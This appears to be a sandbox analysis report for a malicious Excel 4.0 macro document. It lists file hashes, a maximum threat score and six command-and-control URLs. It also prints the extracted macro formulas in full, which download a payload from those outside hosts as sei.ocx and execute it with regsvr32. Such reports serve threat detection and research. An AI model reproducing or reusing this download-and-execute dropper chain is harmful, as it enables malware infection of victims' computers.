889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58

General

Target

889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58
Size

46KB
Sample

241120-fvgsrasdqk
MD5

dfd391ef952f2c3d71cb6cc3444730fa
SHA1

25e11efa20987c36bfdf2e494fd637631609b063
SHA256

889c0a43500ddab52c6b67e3a087d9caf303801cc84888e5815d534398424f58
SHA512

41414f6fead44a3c89ae31af31a64ed3c650c051247bb9a151376b9e484d12d254c2dd45b6be4dba39094cb52553c2ed752abc5d1de6060ecff60a41460a1c9a
SSDEEP

768:QOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:QOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://gokcevizyon.com/sBaEb/

http://henrysfreshroast.com/fxNufTnf3ox/

http://sorathlions.com/tmp/z5mkAKCYsVW70w/

http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/

https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/

https://ewestern.com/k/vEQX/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://gokcevizyon.com/sBaEb/

xlm40.dropper

http://henrysfreshroast.com/fxNufTnf3ox/